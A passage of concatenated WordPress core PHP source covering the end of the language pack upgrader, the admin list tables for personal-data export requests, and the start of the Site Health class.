	 * Upgrades several language packs at once.
	 *
	 * @since 3.7.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param object[] $language_updates Optional. Array of language packs to update. See {@see wp_get_translation_updates()}.
	 *                                   Default empty array.
	 * @param array    $args {
	 *     Other arguments for upgrading multiple language packs. Default empty array.
	 *
	 *     @type bool $clear_update_cache Whether to clear the update cache when done.
	 *                                    Default true.
	 * }
	 * @return array|bool|WP_Error Will return an array of results, or true if there are no updates,
	 *                             false or WP_Error for initial errors.
	 */
	public function bulk_upgrade( $language_updates = array(), $args = array() ) {
		global $wp_filesystem;

		$defaults    = array(
			'clear_update_cache' => true,
		);
		$parsed_args = wp_parse_args( $args, $defaults );

		$this->init();
		$this->upgrade_strings();

		if ( ! $language_updates ) {
			$language_updates = wp_get_translation_updates();
		}

		if ( empty( $language_updates ) ) {
			$this->skin->header();
			$this->skin->set_result( true );
			$this->skin->feedback( 'up_to_date' );
			$this->skin->bulk_footer();
			$this->skin->footer();
			return true;
		}

		if ( 'upgrader_process_complete' === current_filter() ) {
			$this->skin->feedback( 'starting_upgrade' );
		}

		// Remove any existing upgrade filters from the plugin/theme upgraders #WP29425 & #WP29230.
		remove_all_filters( 'upgrader_pre_install' );
		remove_all_filters( 'upgrader_clear_destination' );
		remove_all_filters( 'upgrader_post_install' );
		remove_all_filters( 'upgrader_source_selection' );

		add_filter( 'upgrader_source_selection', array( $this, 'check_package' ), 10, 2 );

		$this->skin->header();

		// Connect to the filesystem first.
		$res = $this->fs_connect( array( WP_CONTENT_DIR, WP_LANG_DIR ) );
		if ( ! $res ) {
			$this->skin->footer();
			return false;
		}

		$results = array();

		$this->update_count   = count( $language_updates );
		$this->update_current = 0;

		/*
		 * The filesystem's mkdir() is not recursive. Make sure WP_LANG_DIR exists,
		 * as we then may need to create a /plugins or /themes directory inside of it.
		 */
		$remote_destination = $wp_filesystem->find_folder( WP_LANG_DIR );
		if ( ! $wp_filesystem->exists( $remote_destination ) ) {
			if ( ! $wp_filesystem->mkdir( $remote_destination, FS_CHMOD_DIR ) ) {
				return new WP_Error( 'mkdir_failed_lang_dir', $this->strings['mkdir_failed'], $remote_destination );
			}
		}

		$language_updates_results = array();

		foreach ( $language_updates as $language_update ) {

			$this->skin->language_update = $language_update;

			$destination = WP_LANG_DIR;
			if ( 'plugin' === $language_update->type ) {
				$destination .= '/plugins';
			} elseif ( 'theme' === $language_update->type ) {
				$destination .= '/themes';
			}

			++$this->update_current;

			$options = array(
				'package'                     => $language_update->package,
				'destination'                 => $destination,
				'clear_destination'           => true,
				'abort_if_destination_exists' => false, // We expect the destination to exist.
				'clear_working'               => true,
				'is_multi'                    => true,
				'hook_extra'                  => array(
					'language_update_type' => $language_update->type,
					'language_update'      => $language_update,
				),
			);

			$result = $this->run( $options );

			$results[] = $this->result;

			// Prevent credentials auth screen from displaying multiple times.
			if ( false === $result ) {
				break;
			}

			$language_updates_results[] = array(
				'language' => $language_update->language,
				'type'     => $language_update->type,
				'slug'     => isset( $language_update->slug ) ? $language_update->slug : 'default',
				'version'  => $language_update->version,
			);
		}

		// Remove upgrade hooks which are not required for translation updates.
		remove_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 );
		remove_action( 'upgrader_process_complete', 'wp_version_check' );
		remove_action( 'upgrader_process_complete', 'wp_update_plugins' );
		remove_action( 'upgrader_process_complete', 'wp_update_themes' );

		/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
		do_action(
			'upgrader_process_complete',
			$this,
			array(
				'action'       => 'update',
				'type'         => 'translation',
				'bulk'         => true,
				'translations' => $language_updates_results,
			)
		);

		// Re-add upgrade hooks.
		add_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 );
		add_action( 'upgrader_process_complete', 'wp_version_check', 10, 0 );
		add_action( 'upgrader_process_complete', 'wp_update_plugins', 10, 0 );
		add_action( 'upgrader_process_complete', 'wp_update_themes', 10, 0 );

		$this->skin->bulk_footer();

		$this->skin->footer();

		// Clean up our hooks, in case something else does an upgrade on this connection.
		remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );

		if ( $parsed_args['clear_update_cache'] ) {
			wp_clean_update_cache();
		}

		return $results;
	}

	/**
	 * Checks that the package source contains .mo and .po files.
	 *
	 * Hooked to the {@see 'upgrader_source_selection'} filter by
	 * Language_Pack_Upgrader::bulk_upgrade().
	 *
	 * @since 3.7.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string|WP_Error $source        The path to the downloaded package source.
	 * @param string          $remote_source Remote file source location.
	 * @return string|WP_Error The source as passed, or a WP_Error object on failure.
	 */
	public function check_package( $source, $remote_source ) {
		global $wp_filesystem;

		if ( is_wp_error( $source ) ) {
			return $source;
		}

		// Check that the folder contains a valid language.
		$files = $wp_filesystem->dirlist( $remote_source );

		// Check to see if a .po and .mo exist in the folder.
		$po = false;
		$mo = false;
		foreach ( (array) $files as $file => $filedata ) {
			if ( str_ends_with( $file, '.po' ) ) {
				$po = true;
			} elseif ( str_ends_with( $file, '.mo' ) ) {
				$mo = true;
			}
		}

		if ( ! $mo || ! $po ) {
			return new WP_Error(
				'incompatible_archive_pomo',
				$this->strings['incompatible_archive'],
				sprintf(
					/* translators: 1: .po, 2: .mo */
					__( 'The language pack is missing either the %1$s or %2$s files.' ),
					'<code>.po</code>',
					'<code>.mo</code>'
				)
			);
		}

		return $source;
	}

	/**
	 * Gets the name of an item being updated.
	 *
	 * @since 3.7.0
	 *
	 * @param object $update The data for an update.
	 * @return string The name of the item being updated.
	 */
	public function get_name_for_update( $update ) {
		switch ( $update->type ) {
			case 'core':
				return 'WordPress'; // Not translated.

			case 'theme':
				$theme = wp_get_theme( $update->slug );
				if ( $theme->exists() ) {
					return $theme->Get( 'Name' );
				}
				break;
			case 'plugin':
				$plugin_data = get_plugins( '/' . $update->slug );
				$plugin_data = reset( $plugin_data );
				if ( $plugin_data ) {
					return $plugin_data['Name'];
				}
				break;
		}
		return '';
	}

	/**
	 * Clears existing translations where this item is going to be installed into.
	 *
	 * @since 5.1.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string $remote_destination The location on the remote filesystem to be cleared.
	 * @return bool|WP_Error True upon success, WP_Error on failure.
	 */
	public function clear_destination( $remote_destination ) {
		global $wp_filesystem;

		$language_update    = $this->skin->language_update;
		$language_directory = WP_LANG_DIR . '/'; // Local path for use with glob().

		if ( 'core' === $language_update->type ) {
			$files = array(
				$remote_destination . $language_update->language . '.po',
				$remote_destination . $language_update->language . '.mo',
				$remote_destination . $language_update->language . '.l10n.php',
				$remote_destination . 'admin-' . $language_update->language . '.po',
				$remote_destination . 'admin-' . $language_update->language . '.mo',
				$remote_destination . 'admin-' . $language_update->language . '.l10n.php',
				$remote_destination . 'admin-network-' . $language_update->language . '.po',
				$remote_destination . 'admin-network-' . $language_update->language . '.mo',
				$remote_destination . 'admin-network-' . $language_update->language . '.l10n.php',
				$remote_destination . 'continents-cities-' . $language_update->language . '.po',
				$remote_destination . 'continents-cities-' . $language_update->language . '.mo',
				$remote_destination . 'continents-cities-' . $language_update->language . '.l10n.php',
			);

			$json_translation_files = glob( $language_directory . $language_update->language . '-*.json' );
			if ( $json_translation_files ) {
				foreach ( $json_translation_files as $json_translation_file ) {
					$files[] = str_replace( $language_directory, $remote_destination, $json_translation_file );
				}
			}
		} else {
			$files = array(
				$remote_destination . $language_update->slug . '-' . $language_update->language . '.po',
				$remote_destination . $language_update->slug . '-' . $language_update->language . '.mo',
				$remote_destination . $language_update->slug . '-' . $language_update->language . '.l10n.php',
			);

			$language_directory     = $language_directory . $language_update->type . 's/';
			$json_translation_files = glob( $language_directory . $language_update->slug . '-' . $language_update->language . '-*.json' );
			if ( $json_translation_files ) {
				foreach ( $json_translation_files as $json_translation_file ) {
					$files[] = str_replace( $language_directory, $remote_destination, $json_translation_file );
				}
			}
		}

		$files = array_filter( $files, array( $wp_filesystem, 'exists' ) );

		// No files to delete.
		if ( ! $files ) {
			return true;
		}

		// Check all files are writable before attempting to clear the destination.
		$unwritable_files = array();

		// Check writability.
		foreach ( $files as $file ) {
			if ( ! $wp_filesystem->is_writable( $file ) ) {
				// Attempt to alter permissions to allow writes and try again.
				$wp_filesystem->chmod( $file, FS_CHMOD_FILE );
				if ( ! $wp_filesystem->is_writable( $file ) ) {
					$unwritable_files[] = $file;
				}
			}
		}

		if ( ! empty( $unwritable_files ) ) {
			return new WP_Error( 'files_not_writable', $this->strings['files_not_writable'], implode( ', ', $unwritable_files ) );
		}

		foreach ( $files as $file ) {
			if ( ! $wp_filesystem->delete( $file ) ) {
				return new WP_Error( 'remove_old_failed', $this->strings['remove_old_failed'] );
			}
		}

		return true;
	}
}
<?php
/**
 * List Table API: WP_Privacy_Requests_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.9.6
 */

abstract class WP_Privacy_Requests_Table extends WP_List_Table {

	/**
	 * Action name for the requests this table will work with. Classes
	 * which inherit from WP_Privacy_Requests_Table should define this.
	 *
	 * Example: 'export_personal_data'.
	 *
	 * @since 4.9.6
	 *
	 * @var string $request_type Name of action.
	 */
	protected $request_type = 'INVALID';

	/**
	 * Post type to be used.
	 *
	 * @since 4.9.6
	 *
	 * @var string $post_type The post type.
	 */
	protected $post_type = 'INVALID';

	/**
	 * Gets columns to show in the list table.
	 *
	 * @since 4.9.6
	 *
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		$columns = array(
			'cb'                => '<input type="checkbox" />',
			'email'             => __( 'Requester' ),
			'status'            => __( 'Status' ),
			'created_timestamp' => __( 'Requested' ),
			'next_steps'        => __( 'Next steps' ),
		);
		return $columns;
	}

	/**
	 * Normalizes the admin URL to the current page (by request_type).
	 *
	 * @since 5.3.0
	 *
	 * @return string URL to the current admin page.
	 */
	protected function get_admin_url() {
		$pagenow = str_replace( '_', '-', $this->request_type );

		if ( 'remove-personal-data' === $pagenow ) {
			$pagenow = 'erase-personal-data';
		}

		return admin_url( $pagenow . '.php' );
	}

	/**
	 * Gets a list of sortable columns.
	 *
	 * @since 4.9.6
	 *
	 * @return array Default sortable columns.
	 */
	protected function get_sortable_columns() {
		/*
		 * The initial sorting is by 'Requested' (post_date) and descending.
		 * With initial sorting, the first click on 'Requested' should be ascending.
		 * With 'Requester' sorting active, the next click on 'Requested' should be descending.
		 */
		$desc_first = isset( $_GET['orderby'] );

		return array(
			'email'             => 'requester',
			'created_timestamp' => array( 'requested', $desc_first ),
		);
	}

	/**
	 * Returns the default primary column.
	 *
	 * @since 4.9.6
	 *
	 * @return string Default primary column name.
	 */
	protected function get_default_primary_column_name() {
		return 'email';
	}

	/**
	 * Counts the number of requests for each status.
	 *
	 * @since 4.9.6
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return object Number of posts for each status.
	 */
	protected function get_request_counts() {
		global $wpdb;

		$cache_key = $this->post_type . '-' . $this->request_type;
		$counts    = wp_cache_get( $cache_key, 'counts' );

		if ( false !== $counts ) {
			return $counts;
		}

		$query = "
			SELECT post_status, COUNT( * ) AS num_posts
			FROM {$wpdb->posts}
			WHERE post_type = %s
			AND post_name = %s
			GROUP BY post_status";

		$results = (array) $wpdb->get_results( $wpdb->prepare( $query, $this->post_type, $this->request_type ), ARRAY_A );
		$counts  = array_fill_keys( get_post_stati(), 0 );

		foreach ( $results as $row ) {
			$counts[ $row['post_status'] ] = $row['num_posts'];
		}

		$counts = (object) $counts;
		wp_cache_set( $cache_key, $counts, 'counts' );

		return $counts;
	}

	/**
	 * Gets an associative array ( id => link ) with the list of views available on this table.
	 *
	 * @since 4.9.6
	 *
	 * @return string[] An array of HTML links keyed by their view.
	 */
	protected function get_views() {
		$current_status = isset( $_REQUEST['filter-status'] ) ? sanitize_text_field( $_REQUEST['filter-status'] ) : '';
		$statuses       = _wp_privacy_statuses();
		$views          = array();
		$counts         = $this->get_request_counts();
		$total_requests = absint( array_sum( (array) $counts ) );

		// Normalized admin URL.
		$admin_url = $this->get_admin_url();

		$status_label = sprintf(
			/* translators: %s: Number of requests. */
			_nx(
				'All <span class="count">(%s)</span>',
				'All <span class="count">(%s)</span>',
				$total_requests,
				'requests'
			),
			number_format_i18n( $total_requests )
		);

		$views['all'] = array(
			'url'     => esc_url( $admin_url ),
			'label'   => $status_label,
			'current' => empty( $current_status ),
		);

		foreach ( $statuses as $status => $label ) {
			$post_status = get_post_status_object( $status );
			if ( ! $post_status ) {
				continue;
			}

			$total_status_requests = absint( $counts->{$status} );

			if ( ! $total_status_requests ) {
				continue;
			}

			$status_label = sprintf(
				translate_nooped_plural( $post_status->label_count, $total_status_requests ),
				number_format_i18n( $total_status_requests )
			);

			$status_link = add_query_arg( 'filter-status', $status, $admin_url );

			$views[ $status ] = array(
				'url'     => esc_url( $status_link ),
				'label'   => $status_label,
				'current' => $status === $current_status,
			);
		}

		return $this->get_views_links( $views );
	}

	/**
	 * Gets bulk actions.
	 *
	 * @since 4.9.6
	 *
	 * @return array Array of bulk action labels keyed by their action.
	 */
	protected function get_bulk_actions() {
		return array(
			'resend'   => __( 'Resend confirmation requests' ),
			'complete' => __( 'Mark requests as completed' ),
			'delete'   => __( 'Delete requests' ),
		);
	}

	/**
	 * Process bulk actions.
	 *
	 * @since 4.9.6
	 * @since 5.6.0 Added support for the `complete` action.
	 */
	public function process_bulk_action() {
		$action      = $this->current_action();
		$request_ids = isset( $_REQUEST['request_id'] ) ? wp_parse_id_list( wp_unslash( $_REQUEST['request_id'] ) ) : array();

		if ( empty( $request_ids ) ) {
			return;
		}

		$count    = 0;
		$failures = 0;

		check_admin_referer( 'bulk-privacy_requests' );

		switch ( $action ) {
			case 'resend':
				foreach ( $request_ids as $request_id ) {
					$resend = _wp_privacy_resend_request( $request_id );

					if ( $resend && ! is_wp_error( $resend ) ) {
						++$count;
					} else {
						++$failures;
					}
				}

				if ( $failures ) {
					add_settings_error(
						'bulk_action',
						'bulk_action',
						sprintf(
							/* translators: %d: Number of requests. */
							_n(
								'%d confirmation request failed to resend.',
								'%d confirmation requests failed to resend.',
								$failures
							),
							$failures
						),
						'error'
					);
				}

				if ( $count ) {
					add_settings_error(
						'bulk_action',
						'bulk_action',
						sprintf(
							/* translators: %d: Number of requests. */
							_n(
								'%d confirmation request re-sent successfully.',
								'%d confirmation requests re-sent successfully.',
								$count
							),
							$count
						),
						'success'
					);
				}

				break;

			case 'complete':
				foreach ( $request_ids as $request_id ) {
					$result = _wp_privacy_completed_request( $request_id );

					if ( $result && ! is_wp_error( $result ) ) {
						++$count;
					}
				}

				add_settings_error(
					'bulk_action',
					'bulk_action',
					sprintf(
						/* translators: %d: Number of requests. */
						_n(
							'%d request marked as complete.',
							'%d requests marked as complete.',
							$count
						),
						$count
					),
					'success'
				);
				break;

			case 'delete':
				foreach ( $request_ids as $request_id ) {
					if ( wp_delete_post( $request_id, true ) ) {
						++$count;
					} else {
						++$failures;
					}
				}

				if ( $failures ) {
					add_settings_error(
						'bulk_action',
						'bulk_action',
						sprintf(
							/* translators: %d: Number of requests. */
							_n(
								'%d request failed to delete.',
								'%d requests failed to delete.',
								$failures
							),
							$failures
						),
						'error'
					);
				}

				if ( $count ) {
					add_settings_error(
						'bulk_action',
						'bulk_action',
						sprintf(
							/* translators: %d: Number of requests. */
							_n(
								'%d request deleted successfully.',
								'%d requests deleted successfully.',
								$count
							),
							$count
						),
						'success'
					);
				}

				break;
		}
	}

	/**
	 * Prepares items to output.
	 *
	 * @since 4.9.6
	 * @since 5.1.0 Added support for column sorting.
	 */
	public function prepare_items() {
		$this->items    = array();
		$posts_per_page = $this->get_items_per_page( $this->request_type . '_requests_per_page' );
		$args           = array(
			'post_type'      => $this->post_type,
			'post_name__in'  => array( $this->request_type ),
			'posts_per_page' => $posts_per_page,
			'offset'         => isset( $_REQUEST['paged'] ) ? max( 0, absint( $_REQUEST['paged'] ) - 1 ) * $posts_per_page : 0,
			'post_status'    => 'any',
			's'              => isset( $_REQUEST['s'] ) ? sanitize_text_field( $_REQUEST['s'] ) : '',
		);

		$orderby_mapping = array(
			'requester' => 'post_title',
			'requested' => 'post_date',
		);

		if ( isset( $_REQUEST['orderby'] ) && isset( $orderby_mapping[ $_REQUEST['orderby'] ] ) ) {
			$args['orderby'] = $orderby_mapping[ $_REQUEST['orderby'] ];
		}

		if ( isset( $_REQUEST['order'] ) && in_array( strtoupper( $_REQUEST['order'] ), array( 'ASC', 'DESC' ), true ) ) {
			$args['order'] = strtoupper( $_REQUEST['order'] );
		}

		if ( ! empty( $_REQUEST['filter-status'] ) ) {
			$filter_status       = isset( $_REQUEST['filter-status'] ) ? sanitize_text_field( $_REQUEST['filter-status'] ) : '';
			$args['post_status'] = $filter_status;
		}

		$requests_query = new WP_Query( $args );
		$requests       = $requests_query->posts;

		foreach ( $requests as $request ) {
			$this->items[] = wp_get_user_request( $request->ID );
		}

		$this->items = array_filter( $this->items );

		$this->set_pagination_args(
			array(
				'total_items' => $requests_query->found_posts,
				'per_page'    => $posts_per_page,
			)
		);
	}

	/**
	 * Returns the markup for the Checkbox column.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 * @return string Checkbox column markup.
	 */
	public function column_cb( $item ) {
		return sprintf(
			'<input type="checkbox" name="request_id[]" id="requester_%1$s" value="%1$s" />' .
			'<label for="requester_%1$s"><span class="screen-reader-text">%2$s</span></label><span class="spinner"></span>',
			esc_attr( $item->ID ),
			/* translators: Hidden accessibility text. %s: Email address. */
			sprintf( __( 'Select %s' ), $item->email )
		);
	}

	/**
	 * Status column.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 * @return string Status column markup.
	 */
	public function column_status( $item ) {
		$status        = get_post_status( $item->ID );
		$status_object = get_post_status_object( $status );

		if ( ! $status_object || empty( $status_object->label ) ) {
			return '-';
		}

		$timestamp = false;

		switch ( $status ) {
			case 'request-confirmed':
				$timestamp = $item->confirmed_timestamp;
				break;
			case 'request-completed':
				$timestamp = $item->completed_timestamp;
				break;
		}

		echo '<span class="status-label status-' . esc_attr( $status ) . '">';
		echo esc_html( $status_object->label );

		if ( $timestamp ) {
			echo ' (' . $this->get_timestamp_as_date( $timestamp ) . ')';
		}

		echo '</span>';
	}

	/**
	 * Converts a timestamp for display.
	 *
	 * @since 4.9.6
	 *
	 * @param int $timestamp Event timestamp.
	 * @return string Human readable date.
	 */
	protected function get_timestamp_as_date( $timestamp ) {
		if ( empty( $timestamp ) ) {
			return '';
		}

		$time_diff = time() - $timestamp;

		if ( $time_diff >= 0 && $time_diff < DAY_IN_SECONDS ) {
			/* translators: %s: Human-readable time difference. */
			return sprintf( __( '%s ago' ), human_time_diff( $timestamp ) );
		}

		return date_i18n( get_option( 'date_format' ), $timestamp );
	}

	/**
	 * Handles the default column.
	 *
	 * @since 4.9.6
	 * @since 5.7.0 Added `manage_{$this->screen->id}_custom_column` action.
	 *
	 * @param WP_User_Request $item        Item being shown.
	 * @param string          $column_name Name of column being shown.
	 */
	public function column_default( $item, $column_name ) {
		/**
		 * Fires for each custom column of a specific request type in the Requests list table.
		 *
		 * Custom columns are registered using the {@see 'manage_export-personal-data_columns'}
		 * and the {@see 'manage_erase-personal-data_columns'} filters.
		 *
		 * @since 5.7.0
		 *
		 * @param string          $column_name The name of the column to display.
		 * @param WP_User_Request $item        The item being shown.
		 */
		do_action( "manage_{$this->screen->id}_custom_column", $column_name, $item );
	}

	/**
	 * Returns the markup for the Created timestamp column. Overridden by children.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_User_Request $item Item being shown.
	 * @return string Human readable date.
	 */
	public function column_created_timestamp( $item ) {
		return $this->get_timestamp_as_date( $item->created_timestamp );
	}

	/**
	 * Actions column. Overridden by children.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 * @return string Email column markup.
	 */
	public function column_email( $item ) {
		return sprintf( '<a href="%1$s">%2$s</a> %3$s', esc_url( 'mailto:' . $item->email ), $item->email, $this->row_actions( array() ) );
	}

	/**
	 * Returns the markup for the next steps column. Overridden by children.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 */
	public function column_next_steps( $item ) {}

	/**
	 * Generates content for a single row of the table,
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item The current item.
	 */
	public function single_row( $item ) {
		$status = $item->status;

		echo '<tr id="request-' . esc_attr( $item->ID ) . '" class="status-' . esc_attr( $status ) . '">';
		$this->single_row_columns( $item );
		echo '</tr>';
	}

	/**
	 * Embeds scripts used to perform actions. Overridden by children.
	 *
	 * @since 4.9.6
	 */
	public function embed_scripts() {}
}
<?php
/**
 * List Table API: WP_Privacy_Data_Export_Requests_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.9.6
 */

if ( ! class_exists( 'WP_Privacy_Requests_Table' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-requests-table.php';
}

/**
 * WP_Privacy_Data_Export_Requests_Table class.
 *
 * @since 4.9.6
 */
class WP_Privacy_Data_Export_Requests_List_Table extends WP_Privacy_Requests_Table {
	/**
	 * Action name for the requests this table will work with.
	 *
	 * @since 4.9.6
	 *
	 * @var string $request_type Name of action.
	 */
	protected $request_type = 'export_personal_data';

	/**
	 * Post type for the requests.
	 *
	 * @since 4.9.6
	 *
	 * @var string $post_type The post type.
	 */
	protected $post_type = 'user_request';

	/**
	 * Actions column.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 * @return string Email column markup.
	 */
	public function column_email( $item ) {
		/** This filter is documented in wp-admin/includes/ajax-actions.php */
		$exporters       = apply_filters( 'wp_privacy_personal_data_exporters', array() );
		$exporters_count = count( $exporters );
		$status          = $item->status;
		$request_id      = $item->ID;
		$nonce           = wp_create_nonce( 'wp-privacy-export-personal-data-' . $request_id );

		$download_data_markup = '<span class="export-personal-data" ' .
			'data-exporters-count="' . esc_attr( $exporters_count ) . '" ' .
			'data-request-id="' . esc_attr( $request_id ) . '" ' .
			'data-nonce="' . esc_attr( $nonce ) .
			'">';

		$download_data_markup .= '<span class="export-personal-data-idle"><button type="button" class="button-link export-personal-data-handle">' . __( 'Download personal data' ) . '</button></span>' .
			'<span class="export-personal-data-processing hidden">' . __( 'Downloading data...' ) . ' <span class="export-progress"></span></span>' .
			'<span class="export-personal-data-success hidden"><button type="button" class="button-link export-personal-data-handle">' . __( 'Download personal data again' ) . '</button></span>' .
			'<span class="export-personal-data-failed hidden">' . __( 'Download failed.' ) . ' <button type="button" class="button-link export-personal-data-handle">' . __( 'Retry' ) . '</button></span>';

		$download_data_markup .= '</span>';

		$row_actions['download-data'] = $download_data_markup;

		if ( 'request-completed' !== $status ) {
			$complete_request_markup  = '<span>';
			$complete_request_markup .= sprintf(
				'<a href="%s" class="complete-request" aria-label="%s">%s</a>',
				esc_url(
					wp_nonce_url(
						add_query_arg(
							array(
								'action'     => 'complete',
								'request_id' => array( $request_id ),
							),
							admin_url( 'export-personal-data.php' )
						),
						'bulk-privacy_requests'
					)
				),
				esc_attr(
					sprintf(
						/* translators: %s: Request email. */
						__( 'Mark export request for &#8220;%s&#8221; as completed.' ),
						$item->email
					)
				),
				__( 'Complete request' )
			);
			$complete_request_markup .= '</span>';
		}

		if ( ! empty( $complete_request_markup ) ) {
			$row_actions['complete-request'] = $complete_request_markup;
		}

		return sprintf( '<a href="%1$s">%2$s</a> %3$s', esc_url( 'mailto:' . $item->email ), $item->email, $this->row_actions( $row_actions ) );
	}

	/**
	 * Displays the next steps column.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 */
	public function column_next_steps( $item ) {
		$status = $item->status;

		switch ( $status ) {
			case 'request-pending':
				esc_html_e( 'Waiting for confirmation' );
				break;
			case 'request-confirmed':
				/** This filter is documented in wp-admin/includes/ajax-actions.php */
				$exporters       = apply_filters( 'wp_privacy_personal_data_exporters', array() );
				$exporters_count = count( $exporters );
				$request_id      = $item->ID;
				$nonce           = wp_create_nonce( 'wp-privacy-export-personal-data-' . $request_id );

				echo '<div class="export-personal-data" ' .
					'data-send-as-email="1" ' .
					'data-exporters-count="' . esc_attr( $exporters_count ) . '" ' .
					'data-request-id="' . esc_attr( $request_id ) . '" ' .
					'data-nonce="' . esc_attr( $nonce ) .
					'">';

				?>
				<span class="export-personal-data-idle"><button type="button" class="button-link export-personal-data-handle"><?php _e( 'Send export link' ); ?></button></span>
				<span class="export-personal-data-processing hidden"><?php _e( 'Sending email...' ); ?> <span class="export-progress"></span></span>
				<span class="export-personal-data-success success-message hidden"><?php _e( 'Email sent.' ); ?></span>
				<span class="export-personal-data-failed hidden"><?php _e( 'Email could not be sent.' ); ?> <button type="button" class="button-link export-personal-data-handle"><?php _e( 'Retry' ); ?></button></span>
				<?php

				echo '</div>';
				break;
			case 'request-failed':
				echo '<button type="submit" class="button-link" name="privacy_action_email_retry[' . $item->ID . ']" id="privacy_action_email_retry[' . $item->ID . ']">' . __( 'Retry' ) . '</button>';
				break;
			case 'request-completed':
				echo '<a href="' . esc_url(
					wp_nonce_url(
						add_query_arg(
							array(
								'action'     => 'delete',
								'request_id' => array( $item->ID ),
							),
							admin_url( 'export-personal-data.php' )
						),
						'bulk-privacy_requests'
					)
				) . '">' . esc_html__( 'Remove request' ) . '</a>';
				break;
		}
	}
}
<?php
/**
 * Class for looking up a site's health based on a user's WordPress environment.
 *
 * @package WordPress
 * @subpackage Site_Health
 * @since 5.2.0
 */

#[AllowDynamicProperties]
class WP_Site_Health {
	private static $instance = null;

	private $is_acceptable_mysql_version;
	private $is_recommended_mysql_version;

	public $is_mariadb                   = false;
	private $mysql_server_version        = '';
	private $mysql_required_version      = '5.5';
	private $mysql_recommended_version   = '8.0';
	private $mariadb_recommended_version = '10.4';

	public $php_memory_limit;

	public $schedules;
	public $crons;
	public $last_missed_cron     = null;
	public $last_late_cron       = null;
	private $timeout_missed_cron = null;
	private $timeout_late_cron   = null;

	/**
	 * WP_Site_Health constructor.
	 *
	 * @since 5.2.0
	 */
	public function __construct() {
		$this->maybe_create_scheduled_event();

		// Save memory limit before it's affected by wp_raise_memory_limit( 'admin' ).
		$this->php_memory_limit = ini_get( 'memory_limit' );

		$this->timeout_late_cron   = 0;
		$this->timeout_missed_cron = - 5 * MINUTE_IN_SECONDS;

		if ( defined( 'DISABLE_WP_CRON' ) && DISABLE_WP_CRON ) {
			$this->timeout_late_cron   = - 15 * MINUTE_IN_SECONDS;
			$this->timeout_missed_cron = - 1 * HOUR_IN_SECONDS;
		}

		add_filter( 'admin_body_class', array( $this, 'admin_body_class' ) );

		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
		add_action( 'wp_site_health_scheduled_check', array( $this, 'wp_cron_scheduled_check' ) );

		add_action( 'site_health_tab_content', array( $this, 'show_site_health_tab' ) );
	}

	/**
	 * Outputs the content of a tab in the Site Health screen.
	 *
	 * @since 5.8.0
	 *
	 * @param string $tab Slug of the current tab being displayed.
	 */
	public function show_site_health_tab( $tab ) {
		if ( 'debug' === $tab ) {
			require_once ABSPATH . 'wp-admin/site-health-info.php';
		}
	}

	/**
	 * Returns an instance of the WP_Site_Health class, or create one if none exist yet.
	 *
	 * @since 5.4.0
	 *
	 * @return WP_Site_Health|null
	 */
	public static function get_instance() {
		if ( null === self::$instance ) {
			self::$instance = new WP_Site_Health();
		}

		return self::$instance;
	}

	/**
	 * Enqueues the site health scripts.
	 *
	 * @since 5.2.0
	 */
	public function enqueue_scripts() {
		$screen = get_current_screen();
		if ( 'site-health' !== $screen->id && 'dashboard' !== $screen->id ) {
			return;
		}

		$health_check_js_variables = array(
			'screen'      => $screen->id,
			'nonce'       => array(
				'site_status'        => wp_create_nonce( 'health-check-site-status' ),
				'site_status_result' => wp_create_nonce( 'health-check-site-status-result' ),
			),
			'site_status' => array(
				'direct' => array(),
				'async'  => array(),
				'issues' => array(
					'good'        => 0,
					'recommended' => 0,
					'critical'    => 0,
				),
			),
		);

		$issue_counts = get_transient( 'health-check-site-status-result' );

		if ( false !== $issue_counts ) {
			$issue_counts = json_decode( $issue_counts );

			$health_check_js_variables['site_status']['issues'] = $issue_counts;
		}

		if ( 'site-health' === $screen->id && ( ! isset( $_GET['tab'] ) || empty( $_GET['tab'] ) ) ) {
			$tests = WP_Site_Health::get_tests();

			// Don't run https test on development environments.
			if ( $this->is_development_environment() ) {
				unset( $tests['async']['https_status'] );
			}

			foreach ( $tests['direct'] as $test ) {
				if ( is_string( $test['test'] ) ) {
					$test_function = sprintf(
						'get_test_%s',
						$test['test']
					);

					if ( method_exists( $this, $test_function ) && is_callable( array( $this, $test_function ) ) ) {
						$health_check_js_variables['site_status']['direct'][] = $this->perform_test( array( $this, $test_function ) );
						continue;
					}
				}

				if ( is_callable( $test['test'] ) ) {
					$health_check_js_variables['site_status']['direct'][] = $this->perform_test( $test['test'] );
				}
			}

			foreach ( $tests['async'] as $test ) {
				if ( is_string( $test['test'] ) ) {
					$health_check_js_variables['site_status']['async'][] = array(
						'test'      => $test['test'],
						'has_rest'  => ( isset( $test['has_rest'] ) ? $test['has_rest'] : false ),
						'completed' => false,
						'headers'   => isset( $test['headers'] ) ? $test['headers'] : array(),
					);
				}
			}
		}

		wp_localize_script( 'site-health', 'SiteHealth', $health_check_js_variables );
	}

	/**
	 * Runs a Site Health test directly.
	 *
	 * @since 5.4.0
	 *
	 * @param callable $callback
	 * @return mixed|void
	 */
	private function perform_test( $callback ) {
		/**
		 * Filters the output of a finished Site Health test.
		 *
